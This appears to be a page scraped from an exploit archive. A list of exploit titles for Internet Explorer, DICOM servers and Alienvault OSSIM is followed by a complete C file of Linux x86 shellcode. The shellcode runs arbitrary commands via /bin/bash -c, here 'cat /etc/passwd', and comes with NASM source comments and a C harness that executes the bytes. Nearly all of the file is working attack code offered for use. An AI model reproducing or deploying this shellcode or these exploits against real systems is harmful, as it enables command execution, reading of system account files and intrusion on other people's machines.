18d8085c6d
13 new exploits Microsoft Internet Explorer 9 MSHTML - CMarkup::ReloadInCompatView Use-After-Free Microsoft Internet Explorer 9 IEFRAME - CMarkup::RemovePointerPos Use-After-Free (MS13-055) Orthanc DICOM Server 1.1.0 - Memory Corruption Microsoft Internet Explorer 9 - MSHTML CMarkup::ReloadInCompatView Use-After-Free Microsoft Internet Explorer 9 - IEFRAME CMarkup::RemovePointerPos Use-After-Free (MS13-055) OsiriX DICOM Viewer 8.0.1 - Memory Corruption ConQuest DICOM Server 1.4.17d - Stack Buffer Overflow DCMTK 3.6.0 storescp - Stack Buffer Overflow Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service Microsoft Internet Explorer 9 IEFRAME - CMarkupPointer::MoveToGap Use-After-Free Microsoft Internet Explorer 9 IEFRAME - CView::EnsureSize Use-After-Free (MS13-021) Nagios < 4.2.4 - Privilege Escalation iOS 10.1.1 / macOS 10.12 16A323 XNU Kernel - set_dp_control_port Lack of Locking Use-After-Free Alienvault OSSIM - SQL Injection / Remote Code Execution (Metasploit) Alienvault Open Source SIEM (OSSIM) - SQL Injection / Remote Code Execution (Metasploit) Alienvault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution Alienvault OSSIM - av-centerd Command Injection (Metasploit) Alienvault Open Source SIEM (OSSIM) - av-centerd Command Injection (Metasploit) Horos 2.1.0 Web Portal - Directory Traversal Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Alienvault OSSIM Open Source SIEM 3.1 - Multiple Security Vulnerabilities Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Security Vulnerabilities Alienvault OSSIM Open Source SIEM 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection Alienvault Open Source SIEM (OSSIM) 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection Alienvault OSSIM 4.1.2 - Multiple SQL Injections Alienvault Open Source SIEM (OSSIM) 4.1.2 - Multiple SQL Injections Alienvault OSSIM Open Source SIEM 4.1 - Multiple SQL Vulnerabilities Alienvault Open Source SIEM (OSSIM) 4.1 - Multiple SQL Vulnerabilities Alienvault 4.3.1 - Unauthenticated SQL Injection Alienvault 4.3.1 - Unauthenticated SQL Injection / Cross-Site Scripting Alienvault OSSIM 4.6.1 - Authenticated SQL Injection (Metasploit) Alienvault Open Source SIEM (OSSIM) 4.6.1 - Authenticated SQL Injection (Metasploit) Alienvault OSSIM 4.3 - Cross-Site Request Forgery Alienvault Open Source SIEM (OSSIM) 4.3 - Cross-Site Request Forgery WHMCS Addon VMPanel 2.7.4 - SQL Injection WordPress Plugin Quiz And Survey Master 4.5.4 / 4.7.8 - Cross-Site Request Forgery
70 lines
1.9 KiB
C
Executable file
70 lines
1.9 KiB
C
Executable file
/*
|
|
;author: Filippo "zinzloun" Bersani
|
|
;date: 16/12/2016
|
|
;version: 1.0
|
|
;X86 Assembly/NASM Syntax
|
|
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
|
|
; Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
|
|
; Linux bb32 4.4.0-45-generic 32bit
|
|
;72 bytes
|
|
;description:
|
|
executes arbitrary command through /bin/bash -c "command"
|
|
a slightly different and null free version of the metasploit payload:
|
|
https://www.rapid7.com/db/modules/payload/linux/x86/exec
|
|
that is not null free. Crashed on 2 vm of my lab enviroment: OpenSuse001 and bb32
|
|
so I coded this version, anyway thx 2 vlad902 for the great idea
|
|
|
|
;see comment for details
|
|
|
|
global _start
|
|
|
|
section .text
|
|
_start:
|
|
|
|
xor eax,eax ;zeroing registers
|
|
xor edx,edx
|
|
mov al,0xb ;int execve(const char *filename, char *const argv[],
|
|
; char *const envp[]);
|
|
|
|
push edx ;null
|
|
push word 0x632d ;-c
|
|
mov edi,esp ;save in edi the -c value
|
|
|
|
push edx ;null
|
|
push 0x68736162 ;////bin/bash
|
|
push 0x2f6e6962
|
|
push 0x2f2f2f2f
|
|
|
|
mov ebx,esp ;set first arg in ebx=*filename
|
|
push edx ;null
|
|
|
|
jmp short push_cmd ;jump to collect the command
|
|
|
|
set_argv:
|
|
push edi ;push -c value
|
|
push ebx ;push ////bin/bash
|
|
mov ecx,esp ;*argv = ////bin/bash, -c, cmd, null
|
|
int 0x80
|
|
|
|
push_cmd:
|
|
call set_argv
|
|
cmd: db "cat /etc/passwd;echo do__ne"
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
"\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89"
|
|
"\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b"
|
|
"\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65";
|
|
main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
}
|